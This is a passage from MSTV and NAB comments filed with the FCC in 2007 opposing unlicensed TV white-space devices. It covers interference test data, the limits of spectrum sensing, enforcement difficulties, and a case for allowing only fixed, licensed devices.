viewer. Second, unlike broadcast signals, which are weak, radar signals are strong; as a result, radar signals are easier to detect. Furthermore, the antennas for unlicensed devices at 5 GHz are small, efficient and have a uniform performance across the 5 GHz band. In the broadcast arena, on the other hand, building a small, efficient and practical antenna to detect “occupied channels” 31 See First R&O and FNPRM at ¶¶ 36-37; Michael J. Marcus, Paul Kolodzy, & Andrew Lippman, Why Unlicensed Use of Vacant TV Spectrum Will Not Cause Interference to DTV Viewers, New America Foundation Issue Brief (July 2006). 32 See First R&O and FNPRM at ¶¶ 36-37. 33 See Id. at ¶ 37. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 15 of 40 that operates with a uniform performance across all television channels is extremely difficult and complex. This is because an antenna’s ability to receive a transmitted signal is related to the wavelength of the signal received, which thus impacts the necessary size of the physical antenna. At 5 GHz, the wavelength of the signal is less than about 2.5 inches, and therefore, a very effective sensing antenna can be made in a small physical space. In the television spectrum, however, there are three separate frequency bands that extend across both the VHF and UHF region of the spectrum. The wavelength size can vary from 17 inches in the upper UHF band to 18 feet at VHF bands.34 Consequently, even a poorly functioning antenna for an unlicensed device in the television band would need to be significantly larger than an antenna at 5 GHz. Finally, in contrast to television receivers, radar systems are robust and can effectively deal with interference. Thus, errors in detection and inadvertent unlicensed operation do not result in significant degradation of the radar system, whereas any “low power” operation in the television band caused by errors in detection will result in widespread interference to viewers. Therefore, detection by TV band devices must be correct all of the time to avoid harmful interference. In sum, there is currently no practical sensing level that will guarantee accuracy in all situations. The Commission must therefore avoid utilizing sensing as the only means of preventing co-channel interference in the broadcast spectrum and should ensure that protection is provided through the use of appropriate D/U ratios and the implementation of non-sensing means, such as geo-location and professional installation, designed to maintain required separation distances to the TV contour. 34 The wavelength of UHF Channel 51 is about 17 inches and the wavelength of VHF channel 2 is about 18 feet. The formula is wavelength (meters) = 300/f in MHz. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 16 of 40 C. Any Operation of a TV Band Device On A Television Station’s First Adjacent Channel Will Harm Reception. In addition to the harms of co-channel operation, any operation of TV band devices on a television station’s first adjacent channel will also cause severe and unacceptable interference to licensed television services. The FNPRM, however, fails to prevent such operation and thus leaves consumers’ vulnerable. The following analysis demonstrates the harms of adjacent channel operations. Three signal levels (from moderately strong to weak signal conditions) are considered for DTV reception and a free space propagation model as suggested by the Commission is assumed for the interfering TV band device.35 Using the same adjacent channel protections proposed by the Commission in its initial NPRM,36 the following table shows the impact of personal/portable devices operating at 100 mW and at 400 mW: 37 TV Band Device Power DTV Signal Strength Interference to DTV Reception 41 dBu 780 meters 59 dBu 100 meters 100 mW 69 dBu 30 meters 41 dBu 1.5 kilometers 59 dBu 200 meters 400 mW 69 dBu 60 meters As indicated by the above chart, DTV viewers, even hundreds of meters from a 100 mW TV band device operating on a first adjacent channel, will experience harmful interference. The 35 This is consistent with the Commission’s recommendation to use free space propagation calculations for distances up to 1.5 kilometers. See Initial White Spaces NPRM at ¶ 31, note 50. 36 See Id. at ¶¶ 29-31. 37 400 mW is the proposed maximum output power including antenna gain for personal/portable unlicensed devices. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 17 of 40 interference concerns are even greater for the higher powered 400 mW devices which may cause interference to DTV services for over a kilometer.38 Since received signal strength will vary throughout the TV station’s service area and will depend on the type of antenna a viewer is using for reception, there is no practical way to predict or avoid this type of interference. As significant interference will occur, even with lower power personal/portable devices, it is clear that the Commission must exclude all TV band devices from operating within the contour of a first adjacent channel. IEEE 802.22 has reached the same conclusion in its studies: devices should not be allowed to operate within a first adjacent channel.39 Further, while protection of the first adjacent channel is most important, it is noteworthy that TV band devices may also cause interference to the second and third adjacent channels as well as to channels N+7, N+14 and N+15. The FNPRM makes no effort to address these interference concerns, which must be addressed before any TV band device can be allowed in the broadcast spectrum. D. CRC TV Receiver Tests Demonstrate Interference From TV Band Devices On Adjacent Channels, Taboo Channels, As Well As Additional Interference Caused By Multiple Devices. To assist the Commission’s effort in testing television receivers, MSTV funded laboratory testing by CRC of five VSB receivers to determine, and quantify, their interference 38 See Exhibit A for calculation of the keep-out distance for a 4 W TV band device. 39 See Ex Parte Presentation of IEEE 802.22, ET Docket No. 04-186 (filed Oct. 3, 2005) (“IEEE- 802.22 Presentation”). IEEE 802.22 is responsible for developing standards for operating Wireless LANs within the TV bands. In October 2005, it submitted an ex parte filing with the FCC to report on its activities and findings to date. The report concluded, among other findings, that unlicensed systems should not operate within a co- and first adjacent channel contour of a DTV station. IEEE 802.22 has also provided the Commission with numbers indicating the appropriate distances for these devices to be operating outside of the contour. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 18 of 40 performance.40 The five receivers included a current DTV model, purchased specifically for these tests, as well as other current and recent DTV models. The study is included in Exhibit B. Listed below is a summary of the findings: 1. Interference Performance Can Vary Significantly Across DTV Receivers And Interference Mechanisms. The results of the CRC tests indicate that interference performance can vary substantially across different DTV receivers and for different interference mechanisms. That is, there was no single DTV receiver that provided the best or worst performance across all tests and measurements. For example, receiver #5 (as described more fully in Exhibit B) was one of the better performing receivers in the weak signal single interferer case. In the higher signal single interferer cases, however, it was one of the worst performing receivers and was an average performer in the case of multiple interfering signals. This finding suggests that in developing the appropriate D/U protection ratios, the Commission should consider selecting a value for each mechanism that is met by all measured TV receivers and therefore protects all TV viewers. The median measured receiver values for each mechanism should not be used. Such an approach lacks any technical justification, especially with regard to developing protections for a Part 15 unlicensed TV band device. First, there is no actual measured DTV receiver with this performance; thus, the use of median values would actually protect less than half of the TV measured receivers from all interference mechanisms. Second, the interference “cliff effect” mechanism for DTV makes the use of median values unacceptable and technically unsuitable. While median values have been used in certain 40 CRC tested all of the receivers on all adjacent and taboo channels from first adjacent (N ±1) to N ±15. No co-channel interference tests were conducted. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 19 of 40 instances for analog television receivers, such receivers degrade gradually and a receiver that is one or two dB under the median performance will merely display a slightly degraded picture. Due to the “cliff effect” for DTV, a DTV receiver that is one or two dB under the median performance ceases to display any picture and sound. The premise and rationale of this rulemaking has been to prevent harmful interference to TV viewers and other licensed operations. This cannot be technically accomplished with the use of median performance values. Third, the sample size, and the measurements taken to date, are too small and uncorrelated to actual receiver population. The Commission must select values met by all measured receivers, and provide some margin above those values to account for differences in modulation schemes used by TV band devices, in order to protect TV viewers from potentially multiple interfering signals from these devices. 2. Interference On First Adjacent Channels Is A Serious Concern And Therefore First Adjacent Use Should Be Avoided Within A TV Station’s Protected Contour. Based on the CRC measurements, the lowest D/U ratios or greatest protection of DTV receivers is required on the first adjacent channels. For some receivers, the upper adjacent is the most critical, while for other receivers the lower adjacent is most important. CRC calculated the radius of interference for each receiver assuming that the interfering device is operating at 100 mW with a 6 dBi transmitting antenna gain.41 These interference distances are shown in the CRC Report attached as Exhibit B. All of the adjacent channel interference distances were substantially greater than 10 meters. In some cases, for example, in the case where the desired 41 In the initial NPRM, the Commission proposed this level for personal/portable unlicensed devices. See Initial White Spaces NPRM at App B. In its subsequent FNPRM, the Commission has proposed that TV band devices can operate up to 4 watts. See First R&O and FNPRM at App. B. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 20 of 40 signal was only 7 dB above the value at the edge of contour, the interference distances for the 5 DTV receivers varied from 60.9 meters to 229 meters. Moreover, the presence of a second interfering signal further lowered the required protection levels by as much as 4.5 dB; thereby further increasing these distances. 3. Interference On Second And Third Adjacent Channels Is Very Problematic As Well As Operations On N+7 And On “Image” Frequencies N+14 And N+15. The CRC measurement results suggest that operation of TV band devices on second and third adjacent channels could also be problematic. The single interfering signal tests show that TV device operation on second and third adjacent channels would cause interference at distances well beyond the 10 meters. For example, a TV band device operating at only 400 mw, would cause interference to receiver 5 at a distance of 43.5 meters on the lower second adjacent channel and 17.7 meters on the lower third adjacent channel. For single interfering signals, operation on the second adjacent channel was also found to be worse than the third adjacent channel. The CRC measurement results also suggest that operation of TV bands devices on the fourteen and fifteen channels above could be problematic. The data demonstrates that, depending on the design of the TV receiver and the filtering of the undesired signal, an interference radius of 100 meters or more is possible. In the case of multiple interfering signals, operation on the upper and lower third adjacent channel was found to be even worse. For example, in the case of interfering signals on both the upper and lower third adjacent channel, the interference performance of receivers 3 and 4 are reduced by 17.0 dB and 16.0 dB respectively and the resultant D/U ratios are reduced to -26.6 dB and -28 dB. These values indicate that TV band device operation on these channels within the Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 21 of 40 protected contour would not protect TV viewers with DTV receivers that exhibit similar performance characteristics. 4. Multiple Interfering Signals Will Reduce Interference Performance And D/U Protection Ratios Of DTV Receivers. The CRC tests also considered the effects to TV receivers when two interfering signals occurred on two different channels. As shown, the introduction of a second interfering signal on another channel, even at a level that is half the power (-3 dB) of the first interferer, resulted in significant reduction in the interference rejection capability and performance of the DTV receiver and in the D/U ratios derived from the single interfering signal case. For example, the D/U ratio for receiver 5 on the first upper adjacent channel was reduced by 4.5 dB with the introduction of a second interfering signal at half the power on the first lower adjacent channel. Other combinations resulted in even larger degradations of receiver performance. In fact, the performance of receiver 5 with regard to a single interfering N+6 channel or D/U ratio was reduced by 33 dB with the introduction of a second interferer on channel N+3. These larger degradations are presumably a result of non-linear effects of the intermodulation products. These test results suggest that additional margins should be included in the D/U ratios to take into account multiple interfering signals. The CRC results show that the worst case appears to be N+x and N+2x. As a number of TV band devices will be operating on multiple channels in close proximity to a TV receiver, MSTV urges the Commission to conduct exhaustive testing and evaluation of multiple signal tests. E. TV Band Devices Have The Potential To Cause Severe Out-of-Band Interference. Out-of-band emissions (i.e., interference from energy generated by a device on channels or frequencies outside the channel being used by the television station) at the levels proposed to Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 22 of 40 be allowed by the FNPRM will pose a particularly serious threat to television receivers. Specifically, the FNPRM proposes to use the existing Part 15.209 emission limits, noting that these limits have been in use for years.42 It was never anticipated, however, that Part 15 limits would apply to devices actually operating in the TV bands, and they are ineffective at preventing interference in this case. In proposing use of the current Part 15.209 limits, the FNPRM fails to recognize the technical reasons why these limits have not been problematic previously. First and foremost, the highest out-of-band emissions generally occur closest to the operating frequency of an unlicensed device. The television band is currently a “restricted band” and unlicensed devices are, and have been, prohibited from operating on any television channel. Therefore, the out-of- band emissions in the band have been far from the device’s operating frequency, and generally well below the Part 15.209 limits. Secondly, until recently, most unlicensed devices operated with narrow bandwidths. Consequently, the out-of-band emissions from these devices were generally narrowband “spikes” that presented low interference risks. The technical situation is quite different, however, in the context of the television band and the types of “low power” devices likely to be deployed. The devices the Commission is now proposing to allow in the television band are wide band devices which, of course, will have wide out-of-band emissions. Furthermore, because the devices will be operating within the television band itself, the out-of-band emissions will also be much closer to the television operating frequency and may be operating right at the Part 15.209 levels. These factors drastically diminish the effectiveness of the Part 15.209 limits. 42 See First R&O and FNPRM at ¶ 60. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 23 of 40 Concerns with the application of Part 15.209 limits to the television band are not only theoretical; CRC and MSTV have conducted laboratory testing and field studies showing that operation of TV band devices at the FNPRM’s proposed out-of-band limits are inadequate and will cause significant interference.43 These tests have demonstrated that unlicensed devices, complying with the FCC’s proposed out-of-band emission limits, could cause interference to DTV sets at distances up to 78 feet and interference to analog TV sets up to 452 feet.44 In addition to MSTV and NAB, others, including Motorola45 and IEEE 802.22, 46 have confirmed that desensitization interference to TV receivers by new devices is a real problem that needs to be addressed. In fact, IEEE 802.22 independently studied the out-of-band emission problem highlighted by MSTV, and the working group tentatively determined that the FCC out- of-band limits are insufficient to protect DTV receivers by some 33 dB.47 These studies, when viewed alongside the fact that the Part 15.209 limits have never been used to protect operations within the broadcast spectrum, support the conclusion that a far more stringent out-of-band emission limit is necessary in order to protect the viewing public. Furthermore, these harmful out-of-band emissions will degrade use of consumer products such as VCRs, and, importantly, analog to-digital converter boxes. As MSTV, NAB and the Consumer Electronics Association recently explained to the NTIA and Commission, 43 These CRC laboratory tests are included in Exhibits C and D. 44 See MSTV/NAB White Spaces Comments at App. A. 45 See Comments of Motorola, ET Docket No. 04-186 (filed Nov. 30, 2004) (“Motorola Comments”) at 12 (“Part 15.209(a) emission levels do not provide adequate protection to TV receivers within the protected contour”). 46 See IEEE 802.22 Presentation at Slide 8 (the FCC’s proposed out-of-band emission requirements are insufficient to protect DTV receivers by some 33 dB for 1 dB desensitization of DTV receivers). 47 See Id. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 24 of 40 such converter boxes are essential to “protect the rights of all Americans to receive free, over- the-air television service after the transition.”48 But even assuming a successful deployment of converter boxes, which will be aided in large part by the federal government’s $1.5 billion converter box program, many analog households could end up without television services due to out-of-band emissions from TV band devices. To protect such viewers, the Commission must determine new, stricter out-of-band emission limits before allowing any TV band device to operate in the broadcast spectrum. MSTV and NAB urge the Commission to specify the out-of- band emission limits for these TV band devices in terms of a specific transmitter mask, rather than solely relying on new lower 15.209 limits. The new mask should take into account the testing, analysis and findings of MSTV, CRC and IEEE 802.22. F. TV Band Devices Should Be Extensively Tested Prior to Developing Rules and Measurement Procedures for Operation in the TV Bands. MSTV and NAB support the Commission’s intent to conduct extensive testing as part of the process to develop technical rules and compliance measurement procedures for TV band devices.49 Both testing to develop appropriate standards and compliance measurement procedures to ensure that devices comply with those standards are critical components of this rule making to ensure that TV band devices do not cause interference to TV viewers and other licensed operations. Accordingly, MSTV and NAB urge the Commission to publish and seek public comment on its testing program and the measurement procedures for these TV band devices. 48 Joint Comments of MSTV and NAB, Docket No. 060512129-6129-01 (filed Sep. 25, 2006) at 2. 49 See First R&O and FNPRM at ¶ 58. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 25 of 40 If sensing is permitted and employed in a TV band device, MSTV and NAB agree with the Commission that all three signal types, an ATSC DTV signal, an NTSC signal and a 200 kHz FM signal, should be used to test the sensing capability of a TV band device. However, MSTV and NAB do not agree with the Commission’s suggested procedure of merely adjusting the “peak levels” of these signals to the sensing detection threshold. Adjusting the “peak levels” to the threshold value is an inadequate test procedure to evaluate “real world” over-the-air TV signals, that can be subject to severe multipath and other propagation effects. The ATSC A/74 DTV Receiver recommended practices require DTV receivers to be tested using 50 field ensembles or “real world” signal captures that take into account actual multipath and propagation effects.50 These 50 captures, or at a minimum some significant subset of these captures, should be used to test the TV band device just as they are used by electronic circuit designers to test the performance of DTV receivers. That is, the TV band device should be tested with each of these captures and the signal level of each capture should be adjusted such that the “peak level” as measured over 6 MHz is raised to the threshold level where the TV band device should cease operating on the channel. This will ensure that the “sensing” technique actually works with real world TV signals, and narrowband detection techniques, such as pilot detection, do not inadvertently let the unlicensed device operate in situations where the pilot carrier is faded but the energy across the entire DTV signal is above the threshold and the signal would provide a usable DTV signal level within the interference range of the unlicensed device. MSTV and NAB also do not believe that there should be any “pass/fail” ratio. The TV band device should operate correctly with all ensembles and cease operation when the ensemble is at the specified threshold. 50 See ATSC Recommended Practice: Receiver Performance Guidelines, Document A/74, June 18, 2004. These 50 ensembles are actual over-the-air signal captures recorded in the Washington, DC area and in New York City. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 26 of 40 This is consistent with Part 15 requirements that unlicensed devices must not cause interference to licensed operations.51 IEEE 802.22 is also currently in the process of defining a uniform methodology to evaluate the sensing level performance of these TV band devices along the lines suggested above.52 MSTV and NAB support this effort and believe such an activity will help the Commission in its effort to develop testing methodology and compliance measurement procedures. Specifically, IEEE 802.22 proposes using off-air signal captures to evaluate the various sensing proposals.53 The IEEE 802.22 also defines the threshold levels over a 6 MHz bandwidth for TV signals, and over a 200 kHz bandwidth for Part 74 devices. IV. IF DEVICES ARE ALLOWED TO OPERATE ON AN UNLICENSED BASIS, THE COMMISSION MUST OVERCOME ITS LACK OF AN EFFECTIVE MEANS TO ENFORCE ITS PROHIBITION ON INTERFERENCE FROM TV BAND DEVICES TO EXISTING LICENSED SERVICES. Particularly if the Commission allows TV band devices to operate on an unlicensed basis, as some parties have proposed,54 enforcement of interference protection rules will be difficult at best. One of the most significant problems with an unlicensed devices regime is the fact that a consumer has no idea what is causing the interference. Even if a consumer can identify that their interruption in television service is due to interference from an unlicensed device and report it, 51 See 47 C.F.R. § 15.5(d). 52 Note that while IEEE 802.22 has proposed a DTV detection threshold level of -116 dBm over a 6 MHz bandwidth, it specifically states that sensing alone is not sufficient and requires both GPS and professional installation to ensure that the device is located outside the service area. 53 IEEE 802.22 proposes that when testing the various sensing proposals, it is imperative the testing be conducted with the complete system not just the sensor. The TV band device should include a front end and a functioning tuner to properly assess the effect of these components on the sensor. 54 See Comments of Microsoft, ET Docket No. 04-186 (filed Nov. 30, 2004); Comments of the New America Foundation, et al., ET Docket No. 04-186 (filed Nov. 30, 2004) (“NAF Comments”). Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 27 of 40 little can be done to help that viewer. Multiple parties have submitted comments throughout this proceeding addressing this concern and the difficulties the Commission will face in finding the interfering device and shutting it off.55 If these devices are allowed to operate on an unlicensed basis, access to free spectrum will mean that an untold number of devices will be operating in the band and there will be no records as to where and when they are operating. The problematic effects of an unlicensed system will be most evident in highly populated areas where there will be countless unlicensed devices in operation. And even if interference is reported and linked to unlicensed devices, the Commission will lack the means, and potentially the authority, to find and shut down the interfering devices. A. In An Unlicensed Regime, Consumers Will Be Unable To Resolve Problems With Interference. If the Commission authorizes TV band devices to operate on an unlicensed basis within the broadcast spectrum, consumers will experience harmful interference and will be ill equipped to both identify such interference and eradicate its effects. While in theory a consumer could eliminate this problem by turning off the unlicensed device, the Commission should not presume that viewers will understand the connection between unlicensed TV band devices and the problems with their television set(s). Consumers will not know they are causing interference to their neighbors. These devices will be on throughout the day and consequently, there will be few 55 See Comments of the Society of Broadcast Engineers, ET Docket No. 04-186 (filed Nov. 30, 2004) at 7 (“the difficulty of finding an offending high power Part 15 device, to say nothing of persuading the operator of that device to shut it down”); Comments of the National Cable & Telecommunications Association, ET Docket No. 04-186 (filed Nov. 30, 2004) at 3 (“the presence of hundreds or thousands of the devices could create an electromagnetic cloud making it nearly impossible to identify a single source of interference in the presence of many such sources”); Comments of Qualcomm, Inc., ET Docket No. 04-186 (filed Nov. 30, 2004) at 12 (it could be “impossible” to “pinpoint and cure harmful interference” from unlicensed devices). Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 28 of 40 opportunities for affected consumers to discover the relationship between the unlicensed device and lack of television service. Furthermore, the initial NPRM mistakenly assumes that television sets within 10 meters of a TV band device will be under the control of the same user, 56 and therefore infers that interference concerns would be less severe. However, both the underlying premise and the resulting conclusion are in fact false. As noted above, interference will occur well beyond 10 meters. Also, mere control over both devices does not guarantee that a user will be able to identify and fix the interference. In addition, in crowded areas, such as hotels, offices, and apartment buildings, a television set may often be within 10 meters of an interfering unlicensed device that is not under the control of the person whose television has inexplicably ceased operation. This will make both identification and resolution of the problem even more improbable. As neither the operator of the TV band device, nor the person experiencing interference with DTV service will be aware of the connection between the two, the likely result will be that consumers will return their DTV sets. Consumers will be frustrated by the inexplicable blank screens and will have no way of remedying the situation. B. The Commission Lacks The Means, And Potentially The Authority, To Resolve The Problems With Unlicensed Devices. While some have argued that the Commission will be able to effectively regulate these problems by shutting down devices or recalling all unlicensed devices found to cause interference, there has been little said as to how the problem could be identified and how enforcement measures, such as a recall, could be accomplished.57 The Commission has the 56 See Initial White Spaces NPRM at ¶ 31, note 50. 57 See NAF Comments at 34 (asserting that the Commission can make clear it will “cancel its certification of devices and may order recalls of devices if necessary”). Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 29 of 40 authority to stop the manufacture and sale of new devices within the United States. The problem, however, is that once these devices are in the market, there is no practical way of identifying even which category of devices may be causing interference, let alone pinpointing a specific device.58 Furthermore, even if interfering TV band devices are actually identified, the Commission potentially lacks the authority, or at a minimum, has historically demonstrated an unwillingness, to recall such interfering devices. Recently, for example, it was discovered that FM transmitters designed for use with XM Satellite Radio Inc. (“XM”) and Sirius Satellite Radio Inc. (“Sirius”) radios did not comply with Commission regulations. A study conducted by NAB found that of the 17 devices tested, 13 exceeded the field strength ceilings for operation of unlicensed devices under the Commission’s Part 15 rules.59 Both XM and Sirius eventually admitted that these devices were noncompliant, and the Commission ordered the manufacturers to cease producing such devices.60 While the Commission has worked with the two companies to ensure that any new devices comply with the standards, a recall was never ordered. In fact, the Commission’s level of involvement in this issue was only possible because XM and Sirius are FCC licensees. If TV band devices are allowed to operate within the broadcast spectrum on an unlicensed basis, the Commission will have even less oversight authority. Given the lack of a recall order after 58 Importantly, unlicensed spectrum use is not necessarily connected to a “service,” which makes interference mitigation and elimination especially difficult. In the unlicensed world, the device itself is the interfering entity and there may be no service provider responsible for eliminating the interference being caused. 59 See Report on Part 15 FM Modulator Device, June 2, 2006, available at http://www.nab.org/xert/corpcomm/NAB_Part15 Study.pdf (last visited Jan. 31, 2007). 60 Carolyn Y. Johnson, Getting Howard Stern off NPR: Regulators, Device Makers Try to Fix Other Signals ‘Bleeding’ Into FM, Boston Globe, Dec. 21, 2006. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 30 of 40 serious violations by XM and Sirius that caused widespread radio interference, it is difficult to believe the Commission would be in a position to order a recall of unlicensed TV band devices found to be causing interference. C. It Will Also Be Difficult For The Commission To Prevent The Sale Of Illegal Devices And Aftermarket Accessories. While the Commission’s rules require unlicensed device certification and forbid the modification of such devices, the Commission will have limited capacity to prevent the internet sale of TV band devices and accessories that do not comport with the Commission’s requirements. By way of background, Section 15.203 of the Commission’s rules require that a Part 15 unlicensed transmitter “shall be designed to ensure that no antenna other than that furnished by the responsible party shall be used with the device,” and this section of the rules requires that the antenna must be “permanently attached” to the device or the device must use a “unique coupling” or connector for attaching the antenna to the device. In addition, Section 15.204 prohibits the use of external radio frequency amplifiers and antenna modifications. The intent of these rules is to prevent a user from increasing the interference potential of an unlicensed device, either by attaching a higher gain antenna to the device or by using an amplifier to increase the device’s range. A simple search of the internet, however, demonstrates the ineffectiveness of these rules. One web site (http://www.radiolabs.com) lists adapter cables for over 150 Wi-Fi devices made by over 35 different manufacturers that permit the connection of unapproved high gain antennas to these unlicensed devices.61 This site also offers amplifiers to increase range, such as a device that claims to increase the power of the Apple Airport Wi-Fi system by a factor of 15 and 61 Available at http://www.radiolabs.com/products/cables/cable.php (last visited Jan. 31, 2007). Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 31 of 40 activate the antenna jack so theoretically a user could attach an even higher gain unapproved antenna.62 Another website (http://www.hyperlinktech.com) also lists Wi-Fi high gain antennas and amplifiers. A third site (http://www.ccrane.com/) offers both higher gain antennas63 and illegal connectors.64 These are just a few of the many examples of products intended to modify unlicensed devices. The Commission must take note of the realities of the offerings on the Internet and the ease by which consumers may modify unlicensed devices to operate outside of the parameters allowed in the Commission’s rules. In an unlicensed system, despite its best intentions the Commission will be generally incapable of policing these noncompliant devices. D. The Commission Must Implement An Effective Enforcement Regime. The Commission has had a longstanding, and legally required, obligation to protect incumbent licensed services from interference.65 Therefore, in the unfortunate event that the Commission authorizes TV band devices to operate on an unlicensed basis in the band, it must implement an effective enforcement regime. As discussed above, once these devices are released into the market the Commission will have limited power to prevent interference through regulatory means. In the absence of a regulatory solution to the problems that arise after unlicensed devices are released into the market, the Commission must impose proper technical requirements. 62 Available at http://www.radiolabs.com/products/wireless/wireless-amplifiers.php (last visited Jan. 31, 2007). 63 Available at http://www.ccrane.com/antennas/wifi-antennas/wifi-tabletop-antenna.aspx (last visited Jan. 31, 2007). 64 Available at http://www.ccrane.com/antennas/wifi-antennas/versa-wifi-usb-adapter.aspx (last visited Jan. 31, 2007). 65 See 47 U.S.C. §301; 47 C.F.R. § 15.5. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 32 of 40 The FNPRM, however, fails to address any means by which the Commission might enforce the prohibition on unlicensed devices interfering with licensed services. At a minimum, the Commission should require TV band devices to be connected to the Internet and incorporate an automatic identification and shutoff function so that the device would cease operation if it is determined that it is creating interference. Successful development of such a technological enforcement regime, which requires further study and development, is essential to protect the public’s over-the-air television service. V. GIVEN THE MANY INTERFERENCE CONCERNS, AND THE LACK OF SUFFICIENT ENFORCEMENT MECHANISMS, THE COMMISSION SHOULD PROCEED CAUTIOUSLY WITH PROPOSALS TO ALLOW TV BAND DEVICES TO SHARE THE BROADCAST SPECTRUM. In light of the severe interference that new TV band devices may cause to the viewing public, the Commission must proceed cautiously. At a minimum, certain safeguards and limits, as described more fully below, must be placed on any device that is allowed to operate in the television spectrum. These protections include an absolute prohibition on personal/portable devices, use of a robust and reliable geolocation method to keep TV band devices from operating in the protected contour of co-channel and adjacent-channel television stations, adoption of stricter out-of-band emission limits, and exclusive licensing of TV band devices. Further information about these protections, and the additional work needed to achieve them, is described below. At the outset, the adoption of these baseline safeguards is fully consistent with the Commission’s goal of providing new broadband services, especially to rural and underserved areas of the United States, 66 which MSTV and NAB fully support. Notably, it is through fixed broadband access that the Commission can further that goal; personal/portable devices will not 66 See First R&O and FNPRM at ¶ 2. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 33 of 40 deliver broadband access to rural families. If the Commission’s proposal to allow TV band devices to operate in the spectrum is truly about solving the broadband problem in America, especially for rural areas, the Commission will be able to accomplish this goal by authorizing the operation of fixed devices while fully protecting the American public’s over-the-air television service. A. By Authorizing Only Fixed TV Band Devices To Operate, Accompanied By Proper Protections, The Commission Can Promote A Broadband Plan Without Endangering Television Reception. MSTV and NAB understand that IEEE 802.22 will propose a fixed operation approach that incorporates key protections aimed at preventing the four types of interference discussed above in Section III. As a general matter, MSTV and NAB urge the Commission to formulate rules implementing IEEE 802.22’s plan for fixed devices. These protections should include a prohibition on the operation of devices within the contour of both co- and first adjacent channels. Such a prohibition can only be achieved through a rigorous combination of geolocation (using GPS), professional installation of the fixed TV band devices, and frequency sensing (which is utilized as an added, and not the sole protection, and which also would help prevent interference with cordless microphones).67 To implement geolocation, the Commission must require fixed devices to utilize outdoor antennas, given that GPS is not reliable indoors. Additional research and testing will be necessary to implement a geo-location protection system. Importantly, the key to geo-location is access to a reliable database. Thus, a correct, post-transition database will be necessary for all stations, including LPTV, translators and cable 67 The current IEEE 802.22 approach specifically provides that the suggested -116 dBm sensing level assumes that there is no operation within both a television station’s co- and adjacent channel, which is assured not through sensing, but through geo-location and professional installation. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 34 of 40 head ends. While the Commission has proposed a final DTV Table, that table will continue to be revised up until the transition to DTV. Of course, there will also be ongoing changes in station parameters once the transition is complete, necessitating a means of keeping the database up to date. Moreover, the transition for Class A, LPTV and TV translator stations will not be completed by February 18, 2009. Accordingly, there may be considerable movement in channel use for several years after the transition and devices will have to protect both analog and digital operations of Class A, LPTV and TV translator operations during this period. As also discussed in Section III, proper out-of-band emission limits will need to be determined and adopted; the Part 15.209 emission limits are ineffective at preventing interference. B. Personal/Portable Devices Are Not Compatible With Existing Operations In The Broadcast Spectrum. The Commission’s decision in this proceeding to permit only fixed low power devices to operate in the broadcast spectrum was certainly the proper course of action.68 Personal/portable devices, defined as devices that operate independently of a base station, such as mesh networks, WiFi cards, etc, are extremely problematic and should not be allowed to operate in the television band because the Commission will be unable to ensure that harmful interference to licensed services does not occur. Simply put, no method exists today (or in the foreseeable future) to prevent interference from personal/portable devices to consumers’ reception of DTV services. For example, IEEE 802 has not conducted any studies on this issue, as it was beyond the scope of the Project Authorization Request which created the IEEE 802.22 Working Group, nor has any other IEEE 802 working group examined this issue. Therefore, there are currently no suggested rules for how portable/personal devices would be able to operate without causing harmful interference. 68 See First R&O and FNPRM at ¶¶ 17-18. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 35 of 40 As discussed above in Section III, MSTV’s study showed there was significant co- and adjacent channel interference from personal/portable devices operating at 100 mW.69 Sensing alone will be ineffective, as demonstrated, to prevent any devices (fixed or personal/portable) from operating within the protected contour of a co- or adjacent channel. But because of the limitations of GPS, the geolocation method proposed to keep fixed devices from operating within a station’s co- or adjacent channel’s contour does not work on indoor consumer devices. Once such operation occurs, it could prevent reception of DTV signals for miles. Out-of-band emissions would also have a serious effect on reception, as the personal/portable devices would often operate in very close proximity to consumers’ television sets, in comparison to the outdoor operation of fixed devices. Moreover, the enforcement problems described in Section IV would be particularly acute in the context of personal/portable devices. Wide diffusion of such devices is to be expected; just as today 2.4 GHz unlicensed devices can be found in many homes, personal/portable TV band devices could proliferate throughout neighborhoods and businesses. Unlike fixed devices, which would be professionally installed, there can be no reliable means of knowing where a personal/portable device ends up once it is sold to a consumer. The inability of the Commission to effectively oversee the proliferation of personal/portable devices will create greater economic incentives for manufacturers to make products that exceed the Commission’s requirements, as occurred in the satellite radio space. Similarly, the abovementioned problems with aftermarket products designed to boost power will be even more profound. In light of the unique and currently insurmountable challenges posed by the introduction of personal/portable devices into the broadcast spectrum, the Commission should not authorize 69 See Exhibit A. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 36 of 40 any such devices at this time. Risking the public’s new digital television service to promote these devices would be particularly inappropriate given their lack of connection to the goal of improved broadband access, which can be achieved through careful introduction of fixed devices. C. Only Exclusively Licensed TV Band Devices Should Be Allowed To Operate In The Broadcast Spectrum. MSTV and NAB appreciate the Commission’s 